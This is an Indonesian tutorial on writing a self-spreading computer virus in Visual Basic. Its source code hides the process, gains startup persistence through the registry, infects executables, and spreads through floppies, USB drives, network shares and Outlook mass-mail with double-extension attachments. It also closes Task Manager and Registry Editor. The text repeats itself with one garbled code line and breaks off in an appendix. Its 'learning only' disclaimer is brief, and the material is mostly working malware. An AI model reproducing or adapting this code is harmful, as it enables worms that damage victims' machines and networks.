TENTANG MEMBUAT VIRUS

Tips Membuat Virus

Mungkin selama ini kita hanya menjadi korban dari berbagai macam virus komputer yang sekarang berkembang bagaikan JAMUR di musim penghujan. Pernakah anda berfikir bagamana virus-virus itu di ciptakan oleh pembuatnya?yang pasti memerlukan keahlian tersendiri sehingga tercipta virus komputer yang bisa membuat komputer menjadi lumpuh. Bagi yang tertarik dengan virus komputer mungkin ini adalah contoh kecil yang bisa anda jadikan sebagai bahan pencerahan.TAPI saya sarankan hanya untuk pembelajaran saja, jangan digunakan untuk hal-hal yang NEGATIVE. Karena dengan mengetahui tentang pembuatan virus komputer diharapkan kita bisa membuat ANTI VIRUS nya. OK
Syarat sebuah virus computer :
1. Menyembunyikan prosesnya dari pemakai
2. Mengaktifkan dirinya setiap startup sistem
3. Menyebarkan dirinya melalui media file executable
4. Mempercepat proses penyebarannya melalui media pertukaran data dan informasi
5. Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system
6. Menyebarkan dirinya dengan filename spoofing.
7. Mempercepat proses penyebarannya dengan pendekatan social engineering
8. Berusaha mempertahankan existensi dirinya
Tanpa menggunakan teori yang panjang dan lebar, kita akan membahas bagaimana hal tersebut diatas dapat dilakukan dengan menggunakan bahasa pemrograman Visual Basic.
Menyembunyikan prosesnya dari pemakai
Agar program tidak menampilkan dirinya pada Task Bar, dapat digunakan perintah :
App.TaskVisible = False
Kemudian untuk menyembunyikan form dapat menggunakan :
Me.Visible = False
Mengaktifkan dirinya setiap startup sistem
Agar program exe dapat diaktifkan setiap kali startup system, kita dapat menduplikasi program ke suatu folder dengan perintah :
FileCopy app.Path & “\” & app.EXEName , environ$(”windir”) & “\” & app.EXEName
dan menambah ke registry :
Dim WShell as Object
Set WShell = CreateObject(”WScript.Shell”)
WShell.regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\virusku”, environ$(”windir”) & “\” & app.EXEName
Set WShell = Nothing
Menyebarkan dirinya melalui media file executable
Program virus harus dapat menginfeksi program-program executable dengan proses sebagai berikut :
Program Executable
Setelah terinfeksi oleh program virus menjadi :
Program Virus + Program Executable + Ukuran Virus + Signature Virus
Sehingga setiap kali program yang telah terinfeksi dijalankan, maka Program Virus akan menginstalasi dirinya ke computer korban dan mengembalikan proses ke Program Executable.
Jadi pada saat program terinfeksi dijalankan, maka Program Executable harus di pulihkan kembali dengan melakukan perhitungan :
Posisi Program Executable = Ukuran File – Ukuran Virus – Ukuran Signature Virus
Sesuatu hal yang harus diperhatikan adalah infeksi terhadap Program Executable tidak boleh dilakukan berulang-ulang dan tidak boleh menginfeksi diri Program Virus sendiri, sehingga harus ditambahkan suatu Signature Virus
Private Sub PeriksadanInfeksiExe(fname As String)
Dim tSignature As String * 5
Dim OriginalCode As String
Dim fNum As Integer
‘Jangan menginfeksi diri sendiri
‘Hanya menginfeksi file berukuran lebih dibawah 1 Mega
If Dir(fname) <> “” Then
If FileLen&(fname) > virSize And FileLen&(fname) < 1048576 Then ‘Ambil nomor file fNum = FreeFile Open fname For Binary Access Read As fNum ‘Buka file target Seek fNum, LOF(fNum) - 5 + 1 ‘pindah file pointer ke posisi Signature Virus tSignature = Space$(5) Get fNum, , tSignature ‘baca tSignature Close fNum If tSignature <> virSignature Then ‘jika file virus (tidak ada virSignature)
On Error GoTo finally
Open fname For Binary Access Read Write As fNum ‘Buka file target
OriginalCode = Space$(LOF(fNum))
Get fNum, , OriginalCode ‘baca Program Executable
Put fNum, 1, virCode ‘tulis Program Virus diawal
Put fNum, , OriginalCode ‘tulis Program Executable
Put fNum, , virSize ‘tulis Ukuran Virus
Put fNum, , virSignature ‘tulis Signature Virus
Close fNum
finally:
End If
End If
End If
End Sub
Ketika program Executable dijalankan maka :
Private Sub VirusInitial()
Dim OriginalCode As String
Dim tSignature As String * 5
Dim fNum As Integer
Dim fname As String
virSignature = Chr$(3) + Chr$(53) + Chr$(103) + Chr$(153) + Chr$(203)
Open exePath + App.EXEName + “.exe” For Binary Access Read As #1
Seek #1, LOF(1) - 5 + 1 ‘pindah file pointer ke posisi virSize
tSignature = Space$(5)
Get #1, , tSignature ‘baca virSignature
If tSignature <> virSignature Then ‘Jika file virus sendiri
virSize = LOF(1) ‘ukuran virSize sama dengan ukuran file
virCode = Space$(virSize) ’siapkan buffer virCode
Seek #1, 1 ‘ke posisi bof
Get #1, , virCode ‘baca virCode sebesar ukuran virSize
Close #1
Call VirInstall ‘instalasi virus
If Not SudahLoad Then
Load ff ‘aktifkan timer virus
End If
‘Jika file yang terinfeksi
Else
Seek #1, LOF(1) - 9 + 1 ‘pindah file pointer ke posisi virSize
Get #1, , virSize ‘baca virSize (long = 4 byte)
‘Baca vircode
virCode = Space$(virSize)
Seek #1, 1 ‘ke posisi BOF (Awal file)
Get #1, , virCode ‘baca virCode sebesar ukuran virSize
OriginalCode = Space$(LOF(1) - virSize) ’siapkan buffer
Get #1, , OriginalCode ‘baca originalCode
fNum = 0
Do While Dir(exePath & App.EXEName & fNum & “.exe”) <> “”
fNum = fNum + 1
Loop
fname = exePath & App.EXEName & fNum & “.exe”
On Error GoTo finally
Open fname For Binary Access Write As #2
Put #2, , OriginalCode ‘tulis ke file sementara
Close #2 ‘tutup file sementara
finally:
Close #1
Call VirInstall
If Not SudahLoad Then
Load ff ‘aktifkan timer virus
End If
Call ExecuteOriginal(fname)
Kill fname ‘hapus file sementara
End If
End Sub
Private Sub ExecuteOriginal(fname)
Dim Host As Long, HProc As Long, HExit As Long
Host = Shell(fname, vbNormalFocus) ‘jalankan fname
HProc = OpenProcess(PROCESS_ALL_ACCESS, False, Host)
GetExitCodeProcess HProc, HExit ‘ambil status aktif
Do While HExit = STILL_ACTIVE ‘proses ditahan selama proses masih aktif
DoEvents ‘lakukan event yang lain
GetExitCodeProcess HProc, HExit
Loop
End Sub
Private Function SudahLoad() As Boolean
Dim vir_hwnd As Long
‘Jika Jendela virus aktif
vir_hwnd = FindWindow(vbNullString, titleSudahLoad)
SudahLoad = Not (vir_hwnd = 0)
End Function
Mempercepat proses penyebarannya melalui media pertukaran data dan informasi
Menyebarkan dirinya ke Floppy Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau terhadap keaktifkan jendela 3½ Floppy (A oleh pemakai.
Public Sub InfeksiFloppy()
On Error GoTo BatalInfeksi
Dim floppy_hwnd As Long
Dim fname As String
‘Jika Jendela Floppy terbuka
floppy_hwnd = FindWindow(vbNullString, “3½ Floppy (A:)”)
If Not floppy_hwnd = 0 Then
Call InfeksiResource(”A:”, “DOCXLS”) ‘Hanya infeksi Doc, Exe jangan
End If
BatalInfeksi:
End Sub
Menyebarkan dirinya ke Flash Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau removable drive diatas drive C.
Public Sub InfeksiFlashDisk()
On Error GoTo BatalInfeksi
Dim ObjFSO As Object
Dim ObjDrive As Object
Set ObjFSO = CreateObject(”Scripting.FileSystemObject”)
For Each ObjDrive In ObjFSO.Drives
‘Asumsi semua removable drive diatas huruf C adalah flash disk
‘1 - Removable drive
‘2 - Fixed drive (hard disk)
‘3 - Mapped network drive
‘4 - CD-ROM drive
‘5 - RAM disk
If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > “C” Then
Call InfeksiResource(ObjDrive.DriveLetter + “:”, “XLSDOC”)
End If
Next
BatalInfeksi:
End Sub
Menyebarkan dirinya ke semua resource yang di Share pada computer yang terinfeksi
Public Sub InfeksiMySharing()
Dim shares() As String, share As Variant, target As String
If GetShares(”\\127.0.0.1?, “Microsoft Windows Network”, shares) = True Then
For Each share In shares
target = share
Call InfeksiResource(target, “XLSDOCEXE”)
Next share
End If
End Sub
Menyebarkan dirinya ke semua resource share yang terbuka di LAN, dengan mengambil semua Domain maupun Workgroup dan menyimpannya dalam suatu stack.
Public Sub AmbilDomain()
Dim Domains() As String, Domain As Variant
If GetShares(””, “Microsoft Windows Network”, Domains) = True Then
For Each Domain In Domains
If Not stackDomain.isFull Then
stackDomain.Push (Domain)
End If
Next Domain
End If
End Sub
Kemudian mengambil computer yang berada pada masing-masing Domain maupun Workgroup dalam suatu stack.
Public Sub AmbilComputer()
Dim Computers() As String, Domain As String, Computer As Variant
If Not stackDomain.isEmpty() Then
Domain = stackDomain.Pop()
If GetShares(Domain, “Microsoft Windows Network”, Computers) = True Then
For Each Computer In Computers
If Not stackComputer.isFull Then
stackComputer.Push (Computer)
End If
Next Computer
End If
End If
End Sub
Dan Akhirnya mengambil semua resource yang dishare dari masing-masing Computer :
Public Sub AmbilDrive()
Dim Drives() As String, Computer As String, Drive As Variant
If Not stackComputer.isEmpty() Then
Computer = stackComputer.Pop()
If GetShares(Computer, “Microsoft Windows Network”, Drives) = True Then
For Each Drive In Drives
If Not stackDrive.isFull Then
stackDrive.Push (Drive)
End If
Next Drive
End If
End If
End Sub
Public Sub InfeksiNetworkDrive()
Dim target As String
If Not stackDrive.isEmpty() Then
target = stackDrive.Pop()
Call InfeksiResource(target, “XLSDOCEXE”)
End If
End Sub
Melakukan penyebaran melalui fasilitas email :
Public Sub SpreadEmailOutlook()
Dim Outlook As Object
Dim Mapi As Object
Dim Mail As Object
Dim AddressBook As Variant
Dim MailAddress As Variant
Dim i As Integer, j As Integer
On Error GoTo finally
Set Outlook = CreateObject(”Outlook.Application”)
Set Mapi = Outlook.GetNamespace(”MAPI”)
For i = 1 To Mapi.AddressLists.Count
Set AddressBook = Mapi.AddressLists(i)
For j = 1 To AddressBook.AddressEntries.Count
MailAddress = AddressBook.AddressEntries(j)
Set Mail = Outlook.CreateItem(0)
Mail.Recipients.Add (MailAddress)
Mail.Subject = “Subject Virus Anda”
Mail.Body = vbCrLf & “Pesan anda agar pemakai tertarik membuka attachment.”
Mail.Attachments.Add Environ$(”windir”) & “\” & attachment & “.doc.exe”
Mail.Send
Next
Next
finally:
Set Outlook = Nothing
Set Mapi = Nothing
End Sub
Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system
Penulis tidak akan membahas tentang teknik yang satu ini. Pada dasarnya cara kerjanya adalah seperti ini, misalnya pada Windows yang otomatis menjalankan file dengan script extension tertentu (Contoh teknik virus Redlof), sehingga program virus dapat membuat script tersebut untuk mentrigger program virus.
Ada juga worms yang memanfaatkan kelemahan Outlook Express, dimana secara otomatis menjalankan Attachment tanpa klik dari pemakai
Ada juga worms yang menyebarkan diri melalui website, dimana jika anda mengunjungi suatu website dengan software browser yang memiliki kelemahan, maka secara otomatis browser mendownload kode yang tidak diinginkan dan menjalankannya.
Ada juga worms yang menyebar melalui media Bluetooth yang dalam keadaan terbuka.
Menyebarkan dirinya dengan filename spoofing.
Teknik filename spoofing banyak digunakan oleh worms dewasa ini dengan menggunakan double extension :
Misalnya :
SuratCinta.doc.pif
Pada system yang settingnya tidak menampilkan extension file maka file tersebut diatas ditampilkan pada system sebagai :
SuratCinta.doc
Mempercepat proses penyebarannya dengan pendekatan social engineering.
Teknik ini adalah gampang-gampang sudah, tetapi sangat mempengaruhi penyebaran dan siklus hidup virus anda. Social engineering banyak digunakan oleh hacker-hacker untuk memperdaya dengan pendekatan non-teknis computer, tetapi lebih cenderung kepada pendekatan manusia.
Banyak virus menyebar dengan memanfaatkan kesenangan orang akan materi-materi pornografi, yaitu dengan membuat membuat nama-nama file, maupun pesan email yang memancing korban untuk penasaran membuka attachment.
Ada juga virus yang disebarkan pada game-game maupun crack software yang menumpang pada program tersebut.
Berusaha mempertahankan existensi dirinya
Mencoba mematikan proses-proses program yang berpotensi untuk menghentikan proses virus, maupun tools yang dapat menghapus proses virus tersebut :
WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableRegistryTools”, 0, “REG_DWORD”
WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableCMD”, 0, “REG_DWORD”
Maupun melacak jendela proses-proses musuh, dan menutupnya.
Public Sub KillEnemy()
Dim EnemyProcess(20) As String
Dim i As Integer
EnemyProcess(1) = “Registry Editor”
EnemyProcess(2) = “Windows Task Manager”
EnemyProcess(3) = “Process Viewer”
EnemyProcess(4) = “Open With”
For i = 1 To 4 Step 1
Call KillEnemyWindow(EnemyProcess(i))
Next i
End Sub
Private Sub KillEnemyWindow(target As String)
Dim Enemy_hwnd As Long
Enemy_hwnd = FindWindow(vbNullString, target)
If Not Enemy_hwnd = 0 Then
CloseWindow (Enemy_hwnd)
End If
End Sub
Kesimpulan :
Pemrograman virus sangat membutuhkan pengetahuan tentang bagaimana proses-proses system operasi yang berpotensi digunakan sebagai sarana penyebaran, serta perintah-perintah pemrograman yang dapat digunakan untuk mewujudkan proses tersebut. Jadi tidak diperlukan algoritma yang rumit, sehingga dapat dengan mudah dilakukan oleh programmer-programmer pemula.
Keberhasilan menerapkan teknik social engineering akan menentukan kesuksesan dan siklus hidup virus anda.
Lampiran A
‘API Declaration Modul
Option Explicit
Public Declare Sub Sleep Lib “kernel32? (ByVal dwMilliseconds As Long)
Public Declare Function OpenProcess Lib “kernel32? (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public Declare Function GetExitCodeProcess Lib “kernel32? (ByVal hProcess As Long, lpExitCode As Long) As Long
Public Declare Function CloseHandle Lib “kernel32? (ByVal hObject As Long) As Long
Public Declare Function FindWindow Lib “user32? Alias “FindWindowA” (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function CloseWindow Lib “user32? (ByVal hwnd As Long) As Long
Public Const STILL_ACTIVE As Long = &H103
Public Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
Public Type NETRESOURCE
dwScope As Long
dwType As Long
dwDisplayType As Long
dwUsage As Long
lpLocalName As Long
lpRemoteName As Long
lpComment As Long
lpProvider As Long
End Type
Public Declare Function WNetOpenEnum Lib “mpr.dll” Alias “WNetOpenEnumA” _
(ByVal dwScope As Long, ByVal dwType As Long, ByVal dwUsage As Long, _
lpNetResource As NETRESOURCE, lphEnum As Long) As Long
Public Declare Function WNetEnumResource Lib “mpr.dll” Alias “WNetEnumResourceA” _
(ByVal hEnum As Long, lpcCount As Long, lpBuffer As NETRESOURCE, lpBufferSize As Long) As Long
Public Declare Function WNetCloseEnum Lib “mpr.dll” (ByVal hEnum As Long) As Long
Public Declare Function lstrlen Lib “kernel32? Alias “lstrlenA” (ByVal pString As Long) As Long
Public Declare Function lstrcpy Lib “kernel32? Alias “lstrcpyA” _
(ByVal lpString1 As String, ByVal pString As Long) As Long
Const RESOURCE_GLOBALNET = 2
Const RESOURCETYPE_DISK = 1
Const RESOURCEDISPLAYTYPE_DOMAIN = 0
Const RESOURCEUSAGE_CONTAINER = 1
Function GetShares(ByVal RemoteName As String, ByVal Provider As String, sShares() As String) As Boolean
Dim hEnum As Long, nrLen As Long, nrCount As Long
Dim nr(204 As NETRESOURCE, retval As Boolean
nrCount = -1
nrLen = 65536
RemoteName = StrConv(RemoteName, vbFromUnicode)
nr(0).lpRemoteName = StrPtr(RemoteName)
Provider = StrConv(Provider, vbFromUnicode)
nr(0).lpProvider = StrPtr(Provider)
nr(0).dwType = RESOURCEDISPLAYTYPE_DOMAIN
nr(0).dwUsage = RESOURCEUSAGE_CONTAINER
If WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK, 0, nr(0), hEnum) = 0 Then
If WNetEnumResource(hEnum, nrCount, nr(0), nrLen) = 0 Then
If nrCount > 0 Then
ReDim sShares(nrCount - 1) As String
For nrLen = 0 To (nrCount - 1)
sShares(nrLen) = Space(lstrlen(nr(nrLen).lpRemoteName))
Call lstrcpy(sShares(nrLen), nr(nrLen).lpRemoteName)
Next nrLen
retval = True
End If
End If
Call WNetCloseEnum(hEnum)
End If
GetShares = retval
End Function
Lampiran B
‘Form ff
Option Explicit
Dim SedangInfeksi As Boolean
Dim SpreadEmail As Boolean
Dim Aktifitas As Integer ‘0 = floppy, 1 = flashdisk
Dim Loncat As Integer
Private Sub AT_Timer()
Call KillEnemy
If Not SedangInfeksi Then ‘jangan overlapping proses
SedangInfeksi = True
If Aktifitas = 0 Then
Call InfeksiMySharing
ElseIf Aktifitas = 1 Then
Call AmbilDomain
ElseIf Aktifitas = 2 Then
Call AmbilComputer
ElseIf Aktifitas = 3 Then
Call AmbilDrive
ElseIf Aktifitas = 4 Then
Call InfeksiNetworkDrive
ElseIf Aktifitas = 5 Then
Call InfeksiFloppy
ElseIf Aktifitas = 6 Then
‘Call InfeksiFlashDisk
ElseIf Aktifitas = 7 Then
Call InfeksiMySharing
ElseIf Aktifitas = 8 Then
If Not SpreadEmail Then
Call SpreadEmailOutlook
SpreadEmail = True
End If
Aktifitas = 1
End If
Aktifitas = (Aktifitas + 1)
SedangInfeksi = False
End If
End Sub
Main Program
Private Sub Form_Load()
Me.Visible = False
Me.Caption = titleSudahLoad
AT.Interval = 1000
SedangInfeksi = False
SpreadEmail = False
Aktifitas = 0
Loncat = 0
AT.Enabled = True
End Sub

TENTANG MEMBUAT VIRUS

Tips Membuat Virus

Mungkin selama ini kita hanya menjadi korban dari berbagai macam virus komputer yang sekarang berkembang bagaikan JAMUR di musim penghujan. Pernakah anda berfikir bagamana virus-virus itu di ciptakan oleh pembuatnya?yang pasti memerlukan keahlian tersendiri sehingga tercipta virus komputer yang bisa membuat komputer menjadi lumpuh. Bagi yang tertarik dengan virus komputer mungkin ini adalah contoh kecil yang bisa anda jadikan sebagai bahan pencerahan.TAPI saya sarankan hanya untuk pembelajaran saja, jangan digunakan untuk hal-hal yang NEGATIVE. Karena dengan mengetahui tentang pembuatan virus komputer diharapkan kita bisa membuat ANTI VIRUS nya. OK
Syarat sebuah virus computer :
1. Menyembunyikan prosesnya dari pemakai
2. Mengaktifkan dirinya setiap startup sistem
3. Menyebarkan dirinya melalui media file executable
4. Mempercepat proses penyebarannya melalui media pertukaran data dan informasi
5. Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system
6. Menyebarkan dirinya dengan filename spoofing.
7. Mempercepat proses penyebarannya dengan pendekatan social engineering
8. Berusaha mempertahankan existensi dirinya
Tanpa menggunakan teori yang panjang dan lebar, kita akan membahas bagaimana hal tersebut diatas dapat dilakukan dengan menggunakan bahasa pemrograman Visual Basic.
Menyembunyikan prosesnya dari pemakai
Agar program tidak menampilkan dirinya pada Task Bar, dapat digunakan perintah :
App.TaskVisible = False
Kemudian untuk menyembunyikan form dapat menggunakan :
Me.Visible = False
Mengaktifkan dirinya setiap startup sistem
Agar program exe dapat diaktifkan setiap kali startup system, kita dapat menduplikasi program ke suatu folder dengan perintah :
FileCopy app.Path & “\” & app.EXEName , environ$(”windir”) & “\” & app.EXEName
dan menambah ke registry :
Dim WShell as Object
Set WShell = CreateObject(”WScript.Shell”)
WShell.regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\virusku”, environ$(”windir”) & “\” & app.EXEName
Set WShell = Nothing
Menyebarkan dirinya melalui media file executable
Program virus harus dapat menginfeksi program-program executable dengan proses sebagai berikut :
Program Executable
Setelah terinfeksi oleh program virus menjadi :
Program Virus + Program Executable + Ukuran Virus + Signature Virus
Sehingga setiap kali program yang telah terinfeksi dijalankan, maka Program Virus akan menginstalasi dirinya ke computer korban dan mengembalikan proses ke Program Executable.
Jadi pada saat program terinfeksi dijalankan, maka Program Executable harus di pulihkan kembali dengan melakukan perhitungan :
Posisi Program Executable = Ukuran File – Ukuran Virus – Ukuran Signature Virus
Sesuatu hal yang harus diperhatikan adalah infeksi terhadap Program Executable tidak boleh dilakukan berulang-ulang dan tidak boleh menginfeksi diri Program Virus sendiri, sehingga harus ditambahkan suatu Signature Virus
Private Sub PeriksadanInfeksiExe(fname As String)
Dim tSignature As String * 5
Dim OriginalCode As String
Dim fNum As Integer
‘Jangan menginfeksi diri sendiri
‘Hanya menginfeksi file berukuran lebih dibawah 1 Mega
If Dir(fname) <> “” Then
If FileLen&(fname) > virSize And FileLen&(fname) < fnum =" FreeFile" tsignature =" Space$(5)"> virSignature Then ‘jika file virus (tidak ada virSignature)
On Error GoTo finally
Open fname For Binary Access Read Write As fNum ‘Buka file target
OriginalCode = Space$(LOF(fNum))
Get fNum, , OriginalCode ‘baca Program Executable
Put fNum, 1, virCode ‘tulis Program Virus diawal
Put fNum, , OriginalCode ‘tulis Program Executable
Put fNum, , virSize ‘tulis Ukuran Virus
Put fNum, , virSignature ‘tulis Signature Virus
Close fNum
finally:
End If
End If
End If
End Sub
Ketika program Executable dijalankan maka :
Private Sub VirusInitial()
Dim OriginalCode As String
Dim tSignature As String * 5
Dim fNum As Integer
Dim fname As String
virSignature = Chr$(3) + Chr$(53) + Chr$(103) + Chr$(153) + Chr$(203)
Open exePath + App.EXEName + “.exe” For Binary Access Read As #1
Seek #1, LOF(1) - 5 + 1 ‘pindah file pointer ke posisi virSize
tSignature = Space$(5)
Get #1, , tSignature ‘baca virSignature
If tSignature <> virSignature Then ‘Jika file virus sendiri
virSize = LOF(1) ‘ukuran virSize sama dengan ukuran file
virCode = Space$(virSize) ’siapkan buffer virCode
Seek #1, 1 ‘ke posisi bof
Get #1, , virCode ‘baca virCode sebesar ukuran virSize
Close #1
Call VirInstall ‘instalasi virus
If Not SudahLoad Then
Load ff ‘aktifkan timer virus
End If
‘Jika file yang terinfeksi
Else
Seek #1, LOF(1) - 9 + 1 ‘pindah file pointer ke posisi virSize
Get #1, , virSize ‘baca virSize (long = 4 byte)
‘Baca vircode
virCode = Space$(virSize)
Seek #1, 1 ‘ke posisi BOF (Awal file)
Get #1, , virCode ‘baca virCode sebesar ukuran virSize
OriginalCode = Space$(LOF(1) - virSize) ’siapkan buffer
Get #1, , OriginalCode ‘baca originalCode
fNum = 0
Do While Dir(exePath & App.EXEName & fNum & “.exe”) <> “”
fNum = fNum + 1
Loop
fname = exePath & App.EXEName & fNum & “.exe”
On Error GoTo finally
Open fname For Binary Access Write As #2
Put #2, , OriginalCode ‘tulis ke file sementara
Close #2 ‘tutup file sementara
finally:
Close #1
Call VirInstall
If Not SudahLoad Then
Load ff ‘aktifkan timer virus
End If
Call ExecuteOriginal(fname)
Kill fname ‘hapus file sementara
End If
End Sub
Private Sub ExecuteOriginal(fname)
Dim Host As Long, HProc As Long, HExit As Long
Host = Shell(fname, vbNormalFocus) ‘jalankan fname
HProc = OpenProcess(PROCESS_ALL_ACCESS, False, Host)
GetExitCodeProcess HProc, HExit ‘ambil status aktif
Do While HExit = STILL_ACTIVE ‘proses ditahan selama proses masih aktif
DoEvents ‘lakukan event yang lain
GetExitCodeProcess HProc, HExit
Loop
End Sub
Private Function SudahLoad() As Boolean
Dim vir_hwnd As Long
‘Jika Jendela virus aktif
vir_hwnd = FindWindow(vbNullString, titleSudahLoad)
SudahLoad = Not (vir_hwnd = 0)
End Function
Mempercepat proses penyebarannya melalui media pertukaran data dan informasi
Menyebarkan dirinya ke Floppy Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau terhadap keaktifkan jendela 3½ Floppy (A oleh pemakai.
Public Sub InfeksiFloppy()
On Error GoTo BatalInfeksi
Dim floppy_hwnd As Long
Dim fname As String
‘Jika Jendela Floppy terbuka
floppy_hwnd = FindWindow(vbNullString, “3½ Floppy (A:)”)
If Not floppy_hwnd = 0 Then
Call InfeksiResource(”A:”, “DOCXLS”) ‘Hanya infeksi Doc, Exe jangan
End If
BatalInfeksi:
End Sub
Menyebarkan dirinya ke Flash Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau removable drive diatas drive C.
Public Sub InfeksiFlashDisk()
On Error GoTo BatalInfeksi
Dim ObjFSO As Object
Dim ObjDrive As Object
Set ObjFSO = CreateObject(”Scripting.FileSystemObject”)
For Each ObjDrive In ObjFSO.Drives
‘Asumsi semua removable drive diatas huruf C adalah flash disk
‘1 - Removable drive
‘2 - Fixed drive (hard disk)
‘3 - Mapped network drive
‘4 - CD-ROM drive
‘5 - RAM disk
If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > “C” Then
Call InfeksiResource(ObjDrive.DriveLetter + “:”, “XLSDOC”)
End If
Next
BatalInfeksi:
End Sub
Menyebarkan dirinya ke semua resource yang di Share pada computer yang terinfeksi
Public Sub InfeksiMySharing()
Dim shares() As String, share As Variant, target As String
If GetShares(”\\127.0.0.1?, “Microsoft Windows Network”, shares) = True Then
For Each share In shares
target = share
Call InfeksiResource(target, “XLSDOCEXE”)
Next share
End If
End Sub
Menyebarkan dirinya ke semua resource share yang terbuka di LAN, dengan mengambil semua Domain maupun Workgroup dan menyimpannya dalam suatu stack.
Public Sub AmbilDomain()
Dim Domains() As String, Domain As Variant
If GetShares(””, “Microsoft Windows Network”, Domains) = True Then
For Each Domain In Domains
If Not stackDomain.isFull Then
stackDomain.Push (Domain)
End If
Next Domain
End If
End Sub
Kemudian mengambil computer yang berada pada masing-masing Domain maupun Workgroup dalam suatu stack.
Public Sub AmbilComputer()
Dim Computers() As String, Domain As String, Computer As Variant
If Not stackDomain.isEmpty() Then
Domain = stackDomain.Pop()
If GetShares(Domain, “Microsoft Windows Network”, Computers) = True Then
For Each Computer In Computers
If Not stackComputer.isFull Then
stackComputer.Push (Computer)
End If
Next Computer
End If
End If
End Sub
Dan Akhirnya mengambil semua resource yang dishare dari masing-masing Computer :
Public Sub AmbilDrive()
Dim Drives() As String, Computer As String, Drive As Variant
If Not stackComputer.isEmpty() Then
Computer = stackComputer.Pop()
If GetShares(Computer, “Microsoft Windows Network”, Drives) = True Then
For Each Drive In Drives
If Not stackDrive.isFull Then
stackDrive.Push (Drive)
End If
Next Drive
End If
End If
End Sub
Public Sub InfeksiNetworkDrive()
Dim target As String
If Not stackDrive.isEmpty() Then
target = stackDrive.Pop()
Call InfeksiResource(target, “XLSDOCEXE”)
End If
End Sub
Melakukan penyebaran melalui fasilitas email :
Public Sub SpreadEmailOutlook()
Dim Outlook As Object
Dim Mapi As Object
Dim Mail As Object
Dim AddressBook As Variant
Dim MailAddress As Variant
Dim i As Integer, j As Integer
On Error GoTo finally
Set Outlook = CreateObject(”Outlook.Application”)
Set Mapi = Outlook.GetNamespace(”MAPI”)
For i = 1 To Mapi.AddressLists.Count
Set AddressBook = Mapi.AddressLists(i)
For j = 1 To AddressBook.AddressEntries.Count
MailAddress = AddressBook.AddressEntries(j)
Set Mail = Outlook.CreateItem(0)
Mail.Recipients.Add (MailAddress)
Mail.Subject = “Subject Virus Anda”
Mail.Body = vbCrLf & “Pesan anda agar pemakai tertarik membuka attachment.”
Mail.Attachments.Add Environ$(”windir”) & “\” & attachment & “.doc.exe”
Mail.Send
Next
Next
finally:
Set Outlook = Nothing
Set Mapi = Nothing
End Sub
Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system
Penulis tidak akan membahas tentang teknik yang satu ini. Pada dasarnya cara kerjanya adalah seperti ini, misalnya pada Windows yang otomatis menjalankan file dengan script extension tertentu (Contoh teknik virus Redlof), sehingga program virus dapat membuat script tersebut untuk mentrigger program virus.
Ada juga worms yang memanfaatkan kelemahan Outlook Express, dimana secara otomatis menjalankan Attachment tanpa klik dari pemakai
Ada juga worms yang menyebarkan diri melalui website, dimana jika anda mengunjungi suatu website dengan software browser yang memiliki kelemahan, maka secara otomatis browser mendownload kode yang tidak diinginkan dan menjalankannya.
Ada juga worms yang menyebar melalui media Bluetooth yang dalam keadaan terbuka.
Menyebarkan dirinya dengan filename spoofing.
Teknik filename spoofing banyak digunakan oleh worms dewasa ini dengan menggunakan double extension :
Misalnya :
SuratCinta.doc.pif
Pada system yang settingnya tidak menampilkan extension file maka file tersebut diatas ditampilkan pada system sebagai :
SuratCinta.doc
Mempercepat proses penyebarannya dengan pendekatan social engineering.
Teknik ini adalah gampang-gampang sudah, tetapi sangat mempengaruhi penyebaran dan siklus hidup virus anda. Social engineering banyak digunakan oleh hacker-hacker untuk memperdaya dengan pendekatan non-teknis computer, tetapi lebih cenderung kepada pendekatan manusia.
Banyak virus menyebar dengan memanfaatkan kesenangan orang akan materi-materi pornografi, yaitu dengan membuat membuat nama-nama file, maupun pesan email yang memancing korban untuk penasaran membuka attachment.
Ada juga virus yang disebarkan pada game-game maupun crack software yang menumpang pada program tersebut.
Berusaha mempertahankan existensi dirinya
Mencoba mematikan proses-proses program yang berpotensi untuk menghentikan proses virus, maupun tools yang dapat menghapus proses virus tersebut :
WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableRegistryTools”, 0, “REG_DWORD”
WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableCMD”, 0, “REG_DWORD”
Maupun melacak jendela proses-proses musuh, dan menutupnya.
Public Sub KillEnemy()
Dim EnemyProcess(20) As String
Dim i As Integer
EnemyProcess(1) = “Registry Editor”
EnemyProcess(2) = “Windows Task Manager”
EnemyProcess(3) = “Process Viewer”
EnemyProcess(4) = “Open With”
For i = 1 To 4 Step 1
Call KillEnemyWindow(EnemyProcess(i))
Next i
End Sub
Private Sub KillEnemyWindow(target As String)
Dim Enemy_hwnd As Long
Enemy_hwnd = FindWindow(vbNullString, target)
If Not Enemy_hwnd = 0 Then
CloseWindow (Enemy_hwnd)
End If
End Sub
Kesimpulan :
Pemrograman virus sangat membutuhkan pengetahuan tentang bagaimana proses-proses system operasi yang berpotensi digunakan sebagai sarana penyebaran, serta perintah-perintah pemrograman yang dapat digunakan untuk mewujudkan proses tersebut. Jadi tidak diperlukan algoritma yang rumit, sehingga dapat dengan mudah dilakukan oleh programmer-programmer pemula.
Keberhasilan menerapkan teknik social engineering akan menentukan kesuksesan dan siklus hidup virus anda.
Lampiran A
‘API Declaration Modul
Option Explicit
Public Declare Sub Sleep Lib “kernel32? (ByVal dwMilliseconds As Long)
